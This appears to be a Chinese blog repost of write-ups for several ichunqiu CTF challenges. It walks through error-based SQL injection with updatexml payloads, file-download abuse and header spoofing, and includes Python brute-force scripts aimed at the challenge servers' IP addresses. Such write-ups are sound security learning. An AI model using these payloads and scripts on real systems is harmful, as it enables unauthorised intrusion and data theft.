i春秋-CTF

VID

i春秋-CTF_第1张图片
查看网页源代码发现有个文件路径
这里写图片描述
访问的看到了有三个参数用get方式提交
i春秋-CTF_第2张图片
在url后提三个参数和对应的值就看到了一个1chunqiu.zip
i春秋-CTF_第3张图片
访问就可以下载文件
i春秋-CTF_第4张图片
这里需要进行代码审计
i春秋-CTF_第5张图片
先看log.php界面

if(isset($_POST['username']) && isset($_POST['password']) && isset($_POST['number'])){
    $db = new mysql_db();
    $username = $db->safe_data($_POST['username']);
    $password = $db->my_md5($_POST['password']);
    $number = is_numeric($_POST['number']) ? $_POST['number'] : 1;
    $username = trim(str_replace($number, '', $username));
    $sql = "select * from"."`".table_name."`"."where username="."'"."$username"."'";

这里username处存在注入,他只进行了safe_data处理,我们跟进这个函数

 public function safe_data($value){
        if( MAGIC_QUOTES_GPC ){
            stripcslashes($value);
        }
        return addslashes($value);
    }

这个代码的意思是在username中找我们输入的车牌号“number”,如果找到就替换成空,

$username = trim(str_replace($number, '', $username));

根据文件路径访问到登陆界面
i春秋-CTF_第6张图片
提交的时候注意number必须是0,然后对username进行注入
i春秋-CTF_第7张图片

number=0&username=%00' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#&password=123&submit=Submit+Query  //爆表
number=0&username=%00' and updatexml(1,concat(1,substr((select * from flag),1,15)),1)#&password=123&submit=Submit+Query   //爆flag

GetFlag

i春秋-CTF_第8张图片
i春秋-CTF_第9张图片
看到一串代码substr(md5(captcha), 0, 6)=10c6ca 截取验证码MD5加密后的前6位,可以写脚本爆破。但是刚开始笔者陷入了误区,就是不知道验证码有几位,由哪些字符组成的。但是后来一想,这里应该是服务端接受到我们传过去的验证码,然后进行MD5加密再进行比较,所以验证码长度就不是那么重要了,但是试了下三位数的验证码能匹配成功的几率很低,所以写了一个四位验证码的脚本,爆破出来的验证码,随便选一个就可以了。
下面是python脚本代码和笔者的测试结果

import string,hashlib
a=string.digits+string.lowercase+string.uppercase
for i in a:
    for j in a:
        for k in a:
            for m in a:
                s=hashlib.md5(i+j+k+m).hexdigest()[0:6]
                if s=="9bf514":
                        print i+j+k+m
                        break

i春秋-CTF_第10张图片
验证码是爆破出来了,但是用户名和密码呢,尝试了sql注入没有什么结果,但是尝试万能密码登陆,果然进去了
i春秋-CTF_第11张图片
进去之后发现有几个文件可以下载
i春秋-CTF_第12张图片
将a.php下载下来发现内容提示flag is in the web root dir,这里能下载文件就可以看到文件的绝对路径,就可以访问了
i春秋-CTF_第13张图片
这里还需要考虑一步,是windows的服务器还是linux的服务器呢,随便访问一个链接就可以发现是Ubuntu,或者用试下路径大小写,敏感的话就是linux了
i春秋-CTF_第14张图片
那么根据下载链接的参数去访问绝对路径,也可以下载flag.php
i春秋-CTF_第15张图片
flag.php的代码如下,意思是用POST提交flag参数,当flag=flag时,会输出一个文件的内容


$f = $_POST['flag'];
$f = str_replace(array('`', '$', '*', '#', ':', '\\', '"', "'", '(', ')', '.', '>'), '', $f);
if((strlen($f) > 13) || (false !== stripos($f, 'return')))
{
        die('wowwwwwwwwwwwwwwwwwwwwwwwww');
}
try
{
         eval("\$spaceone = $f");
}
catch (Exception $e)
{
        return false;
}
if ($spaceone === 'flag'){
    echo file_get_contents("helloctf.php");
}

?>

因为flag.php在根目录,那么直接访问,然后提交POST参数,没有什么反应
i春秋-CTF_第16张图片
那就用burp试一下
i春秋-CTF_第17张图片
好的,那个文件的内容中就有flag了

天下武功唯快不破

访问网站之下就有这些代码,意思是去访问这个flag.php,内容会传到生成的文件名中,文件名的路径需要拼接url+u/+md5(随机数)+txt,而且这个文件名生成10s后会删除
i春秋-CTF_第18张图片
写一个脚本,请求链接的时候拼接这个文件名,这里就有一点运气成分在了,可能会跑不出来,但是多试几次就可以了
下面是python脚本代码和笔者的测试结果

# -*- coding: utf-8 -*-
import requests
import re
import md5


for i in range(0,1001):
    m1 = md5.new()
    m1.update(str(i).encode(encoding='utf-8'))
    url='http://106.75.26.211:3333/u/'+m1.hexdigest()+'.txt'
    r = requests.get(url)
    if(r.status_code!=404):
        print i
        print url
        print r.status_code #输出状态码
        print r.text #文本形式输出网页内容
        break
    '''
    else:
        print i
        print "404" #动态观察脚本运行情况
    '''

i春秋-CTF_第19张图片

pyscript

i春秋-CTF_第20张图片
这里可以提交,但是尝试了几下发现没有什么反应
i春秋-CTF_第21张图片
用burp抓包,这里有两个地方,go一次这两个地方的内容都会变,sha1(3个数字
+每次提交都会变的明文)=每次提交都会变的Ciphertext
i春秋-CTF_第22张图片
写一个自动发包脚本在数据包中自动去获取明文和密文进行加密匹配,虽然只有10s,3个数字去匹配的时间还是够的
下面是python脚本代码和笔者的测试结果

# -*- coding: utf-8 -*-
import urllib,urllib2,json
import hashlib

import re
import requests

url = 'http://106.75.108.111:1111'

def sha_1(data):
    sha_1 = hashlib.sha1()
    sha_1.update(data)
    sha = sha_1.hexdigest()
    return sha

def key(key1,key2):
    c='0123456789'
    str1 = key1
    cipher = key2
    for i in c:
        for j in c:
            for k in c:
                if sha_1(i+j+k+str1) == cipher:
                    # print (i+j+k)
                    return i+j+k
def get_info():
    r = requests.post("http://106.75.108.111:1111")
    key2 = r.headers['Ciphertext']
    cookies = r.cookies#获取cookie
    html = r.text#获取网页内容
    res = r'\+(.*?)\)'
    key1 = re.findall(res,html)[0]
    print key1
    return key1,key2,cookies

def postx(number,cookies):
    cookies = cookies#传递cookie
    values={'pass':number}
    response = requests.post("http://106.75.108.111:1111",cookies=cookies,data=values)#post请求提交
    return response.text

def sum(text):
    res = r''#正则
    key3 = re.findall(res,text)[0]
    result = eval(key3)#eval将字符串str当成有效的表达式来求值并返回计算结果
    return result


if __name__ == '__main__':
    (key1,key2,cookies)=get_info()#获取标识
    number = key(key1,key2)#获取爆破出来的三个数字
    result1 = postx(number,cookies)#获取post请求内容
    result2 = sum(result1)
    print result2#输出flag
    print postx(result2,cookies)

i春秋-CTF_第23张图片

fuzzing

i春秋-CTF_第24张图片
抓包重放之后看到有一个大内网的提示,就需要修改X-Forwarded-For,ip为10.0.0.1段的去访问
i春秋-CTF_第25张图片
修改之后访问到了需要一个key
i春秋-CTF_第26张图片
那就POST传一个key试试看,每次放包的时候都要注意X-Forwarded-For要修改为10.0.0.1,这里提示key不正确,正确的key是ichunqiu+(5个数字和字母)加密后为5a2a7d385fdaad3fabbe7b11c28bd48e
i春秋-CTF_第27张图片
写一个python脚本爆破key

import hashlib
def md5(data):
    m = hashlib.md5()
    m.update(data)
    a = m.hexdigest()
    return a

a = 'ichunqiu'
b = 'abcdefghijklmnopqrstuvwxyz1234567890'
for i in b:
    for j in b:
        for k in b:
            for l in b:
                for m in b:
                    if md5(a+i+j+k+l+m)=='5a2a7d385fdaad3fabbe7b11c28bd48e':
                        print a+i+j+k+l+m

爆破出来key为ichunqiu618ok,再次提交就看到提示访问这个x0.txt
i春秋-CTF_第28张图片
flag是需要通过这个php脚本来解密的
i春秋-CTF_第29张图片
将php代码放到本地环境中,传入两个参数,就可以得到flag了
i春秋-CTF_第30张图片
i春秋-CTF_第31张图片

你可能感兴趣的:(i春秋-CTF)